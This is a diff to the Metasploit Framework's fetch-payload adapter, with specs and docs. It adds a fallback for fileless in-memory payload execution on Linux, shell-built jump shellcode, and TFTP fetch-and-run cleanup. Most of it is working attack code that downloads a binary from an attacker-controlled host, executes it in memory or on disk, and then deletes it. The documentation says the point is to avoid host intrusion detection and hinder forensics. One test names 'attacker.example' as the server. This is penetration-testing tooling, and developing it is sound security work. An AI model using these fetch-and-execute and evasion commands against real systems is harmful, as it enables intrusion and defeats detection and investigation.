diff --git a/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md index ea48c2d27145d..8e0d9c6aeb6fc 100644 --- a/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md +++ b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md @@ -97,8 +97,12 @@ served payload is the same. ### Dependent Options `FETCH_FILELESS` is an option that specifies a method to modify the fetch command to download the binary payload to memory rather than disk before execution, thus avoiding some HIDS and making forensics harder. Currently, there are -two options: `shell`, `shell-search` and `python3.8+`. All of these require the target to be running Linux Kernel 3.17 or above. -This option is only available when the platform is Linux. +three options: `shell`, `shell-search` and `python3.8+`. All of these require the target to be running Linux Kernel 3.17 or above. +This option is only available when the platform is Linux. It should be noted that when using `shell-search`, the fetch command +searches for an anonymous file handle it can write to, and on some restricted systems or with a low-privileged user, it might not find +a file handle it can write to. For that reason, the `shell-search` fetch command contains a fail-safe mechanism, which adds +a standard fetch command as backup. This means that if the `shell-search` fetch command cannot find a suitable anonymous +file handle, it executes the standard fetch command that downloads the adapted payload. `FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not supported by every binary and must end in `.exe` on Windows hosts. The default value is random. diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index db9390b22bfc6..ddb33c5fe5e89 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -341,10 +341,27 @@ def _execute_win(get_file_cmd) # @return [String] The command updated for POSIX execution. def _execute_nix(get_file_cmd) return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell' - return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'shell-search' return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+' - cmds = get_file_cmd + if datastore['FETCH_FILELESS'] == 'shell-search' + cmds = _generate_fileless_bash_search(get_file_cmd) + cmds << "if [ $FOUND -eq 0 ]" + cmds << "; then f=#{_remote_destination_nix(failsafe: true)}; " + cmds << get_file_cmd + cmds << "; chmod +x #{_remote_destination_nix}" + cmds << "; #{_remote_destination_nix}& " + + if datastore['FETCH_DELETE'] + cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}; fi" + else + cmds << "fi" + end + + return cmds + else + cmds = get_file_cmd + end + cmds << ";chmod +x #{_remote_destination_nix}" cmds << ";#{_remote_destination_nix}&" cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE'] @@ -452,13 +469,17 @@ def _generate_tftp_command(uri) fetch_command = _execute_win("tftp -i #{srvhost} GET #{uri} #{_remote_destination}") else _check_tftp_file + tftp_fetch_and_exec = "(echo binary ; echo get #{uri} ) | tftp #{srvhost}; chmod +x ./#{uri}; ./#{uri} &" + # Trailing `;` matters: the shell-search fail-safe branch below + # concatenates this string directly in front of a closing ` fi`. + tftp_fetch_and_exec << "sleep #{rand(3..7)};rm -rf ./#{uri};" if datastore['FETCH_DELETE'] if datastore['FETCH_FILELESS'] != 'none' && linux? get_file_cmd = "(echo binary ; echo get #{uri} $f ) | tftp #{srvhost}" return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell' - return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'shell-search' + return %<#{_generate_fileless_bash_search(get_file_cmd)} if [ $FOUND -eq 0 ]; then #{tftp_fetch_and_exec} fi> if datastore['FETCH_FILELESS'] == 'shell-search' return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+' else - fetch_command = "(echo binary ; echo get #{uri} ) | tftp #{srvhost}; chmod +x ./#{uri}; ./#{uri} &" + fetch_command = tftp_fetch_and_exec end end else @@ -515,10 +536,10 @@ def _remote_destination # Returns or memoizes the remote payload destination for POSIX targets. # # @return [String] The POSIX destination path or fileless placeholder. - def _remote_destination_nix - return @remote_destination_nix unless @remote_destination_nix.nil? + def _remote_destination_nix(failsafe: false) + return @remote_destination_nix unless @remote_destination_nix.nil? || failsafe == true - if datastore['FETCH_FILELESS'] != 'none' + if datastore['FETCH_FILELESS'] != 'none' && failsafe == false @remote_destination_nix = '$f' else writable_dir = datastore['FETCH_WRITABLE_DIR'] @@ -527,6 +548,8 @@ def _remote_destination_nix payload_filename = datastore['FETCH_FILENAME'] payload_filename = srvuri if payload_filename.blank? payload_path = writable_dir + payload_filename + return payload_path if failsafe + @remote_destination_nix = payload_path end @remote_destination_nix diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb index 1dd76ced52aad..93f810cfddfa1 100644 --- a/lib/msf/core/payload/adapter/fetch/fileless.rb +++ b/lib/msf/core/payload/adapter/fetch/fileless.rb @@ -187,49 +187,66 @@ def _generate_first_stage_shellcode(arch) return payload end + # Builds a POSIX shell `$(...)` fragment that reads $vdso_addr, formats it + # as a hex string zero-padded to at least `width` digits, and emits it + # with its byte order reversed (endianness swap for the target's + # little-endian jmp instruction encoding). + # + # A leading zero is inserted if the formatted hex string ends up an odd + # number of digits -- possible whenever $vdso_addr needs more digits than + # `width` pads to, e.g. a 32-bit address with the 4-digit armle/mipsle + # width below. Without it, the trailing `${v%??}` trim never matches on + # the final single character and the loop never terminates. + # + # @param width [Integer] Minimum hex digits to zero-pad $vdso_addr to. + # @return [String] The `$(...)` shell command substitution fragment. + def _hex_byte_swap_shell(width) + %^$(v=$(printf %0#{width}x $vdso_addr); if [ $((${#v} % 2)) -ne 0 ]; then v="0$v"; fi; o=; while [ -n "$v" ]; do o=$o${v#"${v%??}"}; v=${v%??}; done; echo "$o")^ + end + def _generate_jmp_instruction(arch) # # The sed command will basically take two characters at the time and switch their order, this is due to endianess of x86 addresses - + case arch # x64 shellcode # mov rax, [target address] # jmp rax when 'x64' - %^"48b8"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"ffe0"^ - + %^"48b8"#{_hex_byte_swap_shell(16)}"ffe0"^ + # x86 shellcode # mov eax, [target address] # jmp eax when 'x86' - %^"b8"$(echo $(printf %08x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"ffe0"^ - + %^"b8"#{_hex_byte_swap_shell(8)}"ffe0"^ + # ARM64 shellcode # ldr x0, #8 # br x0 when 'aarch64' - %^"4000005800001fd6"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ - + %^"4000005800001fd6"#{_hex_byte_swap_shell(16)}^ + # ARMle shelcode # ldr.w r2, [pc, #4] - # bx r2 + # bx r2 when 'armle' - %^"dff804201047"$(echo $(printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ - + %^"dff804201047"#{_hex_byte_swap_shell(4)}^ + # ARMbe shelcode # ldr.w r2, [pc, #4] - # bx r2 + # bx r2 when 'armbe' %^"f8df20044710"$(echo $(printf %04x $vdso_addr))^ - + # MIPSEL shellcode # bgezal $zero, 4 # xor $t2, $t2,$t2 # lw $t2, 16($ra) # jr $t2 when 'mipsle' - %^"000011040000000026504a011000ea8f0800400100000000"$(echo $(printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ - + %^"000011040000000026504a011000ea8f0800400100000000"#{_hex_byte_swap_shell(4)}^ + # MIPSBE shellcode # bgezal $zero, 4 # xor $t2, $t2,$t2 @@ -237,7 +254,7 @@ def _generate_jmp_instruction(arch) # jr $t2 when 'mipsbe' %^"0411000000000000014a50268fea00100140000800000000"$(echo $(printf %04x $vdso_addr))^ - + # MIPS64 shellcode # bgezal $zero, 4 # xor $t2, $t2,$t2 @@ -245,14 +262,14 @@ def _generate_jmp_instruction(arch) # jr $t2 when 'mips64' %^"041100000000000001ce7026dfee001001c0000800000000"$(echo $(printf %016x $vdso_addr))^ - + # RISC-V 64-bit LE shellcode # auipc t0, 0 # ld t0, 12(t0) # jr t0 # .dword [target address] when 'riscv64le' - %^"9702000083b2c20067800200"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ + %^"9702000083b2c20067800200"#{_hex_byte_swap_shell(16)}^ # RISC-V 32-bit LE shellcode # auipc t0, 0 @@ -260,7 +277,7 @@ def _generate_jmp_instruction(arch) # jr t0 # .word [target address] when 'riscv32le' - %^"9702000083a2c20067800200"$(echo $(printf %08x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ + %^"9702000083a2c20067800200"#{_hex_byte_swap_shell(8)}^ else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture') @@ -292,7 +309,11 @@ def _generate_fileless_shell(get_file_cmd, arch) cmd << 'then for f in $(find ./fd -type l -perm u=rwx 2>/dev/null);' cmd << 'do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ];' - cmd << "then if $(#{get_file_cmd} >/dev/null);" + # get_file_cmd is wrapped in a subshell so the trailing `>/dev/null` (added + # to swallow noise like a `tee`'s terminal echo) can't clobber a redirect + # get_file_cmd already embeds itself (e.g. the plain `GET`-based + # `... >$f`) -- the inner, more specific redirect still wins. + cmd << "then if (#{get_file_cmd}) >/dev/null && [ \"$(dd if=$f bs=1 count=4 2>/dev/null)\" = \"$(printf '\\177ELF')\" ];" cmd << 'then $f & FOUND=1;break;' cmd << 'fi;' cmd << 'fi;' @@ -325,15 +346,24 @@ def _generate_fileless_bash_search(get_file_cmd) # and execute it cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)' cmd << '; do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]' - cmd << "; then if $(#{get_file_cmd} >/dev/null)" - cmd << '; then $f' - cmd << '; FOUND=1' - cmd << '; break' + # get_file_cmd is wrapped in a subshell so the trailing `>/dev/null` (added + # to swallow noise like a `tee`'s terminal echo) can't clobber a redirect + # get_file_cmd already embeds itself (e.g. the plain `GET`-based + # `... >$f`) -- the inner, more specific redirect still wins. + cmd << "; then if (#{get_file_cmd}) >/dev/null && [ \"$(dd if=$f bs=1 count=4 2>/dev/null)\" = \"$(printf '\\177ELF')\" ]" + cmd << '; then $f ' + cmd << '& FOUND=1' + # `exit`, not `break` -- a bare break would only exit this inner loop, and + # when this search script is concatenated with a fallback (as + # _execute_nix's shell-search branch does), the fallback would then run + # again and re-download/re-exec the payload a second time. + cmd << '; exit 0' cmd << '; fi' cmd << '; fi' cmd << '; done' cmd << '; fi' cmd << '; done' + cmd << ';' cmd end diff --git a/spec/lib/msf/core/payload/adapter/fetch/fileless_spec.rb b/spec/lib/msf/core/payload/adapter/fetch/fileless_spec.rb index 04f8ef2ced14c..27064e58b6213 100644 --- a/spec/lib/msf/core/payload/adapter/fetch/fileless_spec.rb +++ b/spec/lib/msf/core/payload/adapter/fetch/fileless_spec.rb @@ -1,4 +1,5 @@ require 'spec_helper' +require 'tempfile' RSpec.describe Msf::Payload::Adapter::Fetch::Fileless do let(:harness_class) do @@ -46,7 +47,44 @@ subject(:cmd) { harness._generate_fileless_bash_search(get_file_cmd) } it 'embeds get_file_cmd directly, since the surrounding script text is unquoted' do - expect(cmd).to include("if $(#{get_file_cmd} >/dev/null)") + expect(cmd).to include("if (#{get_file_cmd}) >/dev/null") + end + + it 'wraps get_file_cmd in a subshell so the trailing >/dev/null cannot clobber a redirect get_file_cmd embeds itself' do + # get_file_cmd can itself end in a raw `>$dest` redirect (e.g. the + # plain GET-based fetch command). Appending ` >/dev/null` directly + # after that, unparenthesized, would silently win and the payload + # would never be written to the candidate file. + expect(cmd).not_to include("#{get_file_cmd} >/dev/null") + end + + it 'checks the real exit status of get_file_cmd rather than a swallowed command substitution' do + # $(get_file_cmd >/dev/null) always captures an empty string (stdout is + # redirected away inside the substitution), and `if ` is always + # true in bash regardless of whether get_file_cmd actually succeeded. + expect(cmd).not_to include("$(#{get_file_cmd}") + end + + it 'verifies the candidate anonymous file actually holds a downloaded ELF, not just any pre-existing content' do + # A candidate fd can pass the memfd/rwx filter yet belong to an unrelated + # process with its own real (non-empty) data already in it -- a bare + # exit-status or size check can't tell "our payload landed here" apart + # from "there was already unrelated data here we couldn't overwrite". + expect(cmd).to include(%q{[ "$(dd if=$f bs=1 count=4 2>/dev/null)" = "$(printf '\177ELF')" ]}) + end + + it 'does not depend on od or head -c, neither of which is guaranteed present/POSIX-mandated on minimal/embedded busybox builds' do + expect(cmd).not_to include('od ') + expect(cmd).not_to include('head -c4 $f') + end + + it 'exits the whole script on a successful match rather than merely breaking the search loop' do + # A bare `break` only exits the innermost loop -- when this search + # script is concatenated with a fallback (as _execute_nix's shell-search + # branch does), a successful match must terminate the entire script via + # `exit`, or the fallback below would run again and re-download/re-exec + # the payload a second time. + expect(cmd).not_to include('; break') end end @@ -54,7 +92,59 @@ subject(:cmd) { harness._generate_fileless_shell(get_file_cmd, 'mipsle') } it 'embeds get_file_cmd directly, since the surrounding script text is unquoted' do - expect(cmd).to include("then if $(#{get_file_cmd} >/dev/null)") + expect(cmd).to include("then if (#{get_file_cmd}) >/dev/null") + end + + it 'wraps get_file_cmd in a subshell so the trailing >/dev/null cannot clobber a redirect get_file_cmd embeds itself' do + expect(cmd).not_to include("#{get_file_cmd} >/dev/null") + end + + it 'checks the real exit status of get_file_cmd rather than a swallowed command substitution' do + expect(cmd).not_to include("$(#{get_file_cmd}") + end + + it 'verifies the candidate anonymous file actually holds a downloaded ELF' do + expect(cmd).to include(%q{[ "$(dd if=$f bs=1 count=4 2>/dev/null)" = "$(printf '\177ELF')" ]}) + end + + it 'does not depend on od or head -c, neither of which is guaranteed present/POSIX-mandated on minimal/embedded busybox builds' do + expect(cmd).not_to include('od ') + expect(cmd).not_to include('head -c4 $f') + end + end + + describe '#_hex_byte_swap_shell' do + def swapped_hex(padded_hex) + padded_hex.scan(/../).reverse.join + end + + # Actually runs the generated shell fragment (with $vdso_addr set) through + # `sh`, bounded by `timeout` so a regression back to the pre-fix infinite + # loop fails the example instead of hanging the suite. + def run_fragment(width, vdso_addr) + fragment = harness._hex_byte_swap_shell(width) + Tempfile.create('hex_byte_swap_probe') do |f| + f.write("vdso_addr=#{vdso_addr}\necho #{fragment}\n") + f.flush + `timeout 2 sh #{f.path}`.strip + end + end + + it 'reverses byte order of an address that exactly fits the padded width' do + result = run_fragment(8, 0x12345678) + expect(result).to eq(swapped_hex('12345678')) + end + + it 'terminates and produces the correctly byte-swapped result when the address needs more digits than the padded width' do + # printf %04x on 0x10000 yields "10000" -- 5 (odd) hex digits, since + # printf only pads *up to* the given width, it doesn't clip larger + # values down to it. The old, unguarded ${v%??} trim loop assumed an + # always-even-length string and spun forever once it reached the last + # single leftover character; the `timeout` wrapper here turns that + # regression into a failing example instead of a hung spec run. + vdso_addr = 0x10000 + result = run_fragment(4, vdso_addr) + expect(result).to eq(swapped_hex('010000')) end end end diff --git a/spec/lib/msf/core/payload/adapter/fetch_spec.rb b/spec/lib/msf/core/payload/adapter/fetch_spec.rb index f236643e382e8..cbec0dc6d0f98 100644 --- a/spec/lib/msf/core/payload/adapter/fetch_spec.rb +++ b/spec/lib/msf/core/payload/adapter/fetch_spec.rb @@ -69,4 +69,107 @@ def _execute_add(get_file_cmd) describe '#_generate_wget_command' do include_examples 'a dynamic-arch aware fetch command', :_generate_wget_command end + + describe '#_remote_destination_nix' do + let(:harness_class) do + Class.new do + include Msf::Payload::Adapter::Fetch + + def initialize + @datastore = { + 'FETCH_FILELESS' => 'shell-search', + 'FETCH_WRITABLE_DIR' => '', + 'FETCH_FILENAME' => '' + } + end + attr_accessor :datastore + + def srvuri + 'payload_uri' + end + end + end + + subject(:harness) { harness_class.new } + + it 'returns the standard writable-dir path when called with failsafe: true' do + expect(harness.send(:_remote_destination_nix, failsafe: true)).to eq('./payload_uri') + end + + it 'does not memoize the failsafe: true result into @remote_destination_nix' do + harness.send(:_remote_destination_nix, failsafe: true) + expect(harness.instance_variable_get(:@remote_destination_nix)).to be_nil + end + + it 'still returns the fileless placeholder on a later unqualified call, unaffected by the earlier failsafe: true peek' do + harness.send(:_remote_destination_nix, failsafe: true) + expect(harness.send(:_remote_destination_nix)).to eq('$f') + end + end + + describe '#_generate_tftp_command' do + let(:harness_class) do + Class.new do + include Msf::Payload::Adapter::Fetch + + def initialize + @datastore = { + 'FETCH_SRVPORT' => 69, + 'FETCH_WRITABLE_DIR' => '', + 'FETCH_FILENAME' => '', + 'FETCH_FILELESS' => 'none', + 'FETCH_DELETE' => false + } + end + attr_accessor :datastore + + def fetch_protocol + 'TFTP' + end + + def windows? + false + end + + def srvhost + 'attacker.example' + end + end + end + + subject(:harness) { harness_class.new } + + it 'does not append a cleanup step when FETCH_DELETE is not set' do + cmd = harness.send(:_generate_tftp_command, 'payload_uri') + expect(cmd).not_to include('rm -rf') + end + + it 'appends a delete cleanup step, like the generic (non-tftp) fetch path does, when FETCH_DELETE is set' do + harness.datastore['FETCH_DELETE'] = true + cmd = harness.send(:_generate_tftp_command, 'payload_uri') + expect(cmd).to include('rm -rf ./payload_uri') + end + + context 'when FETCH_FILELESS is shell-search' do + before do + harness.datastore['FETCH_FILELESS'] = 'shell-search' + harness.datastore['FETCH_DELETE'] = true + allow(harness).to receive(:linux?).and_return(true) + end + + it 'still runs the delete cleanup on the fail-safe fallback path' do + cmd = harness.send(:_generate_tftp_command, 'payload_uri') + expect(cmd).to include('rm -rf ./payload_uri') + end + + it 'closes the fail-safe if-block with a semicolon rather than corrupting the rm -rf argument list' do + # Concatenating the cleanup directly in front of the fail-safe + # branch's closing ` fi` without a separator would make `fi` a + # second argument to `rm -rf` instead of closing the if-block. + cmd = harness.send(:_generate_tftp_command, 'payload_uri') + expect(cmd).to include('rm -rf ./payload_uri; fi') + expect(cmd).not_to include('rm -rf ./payload_uri fi') + end + end + end end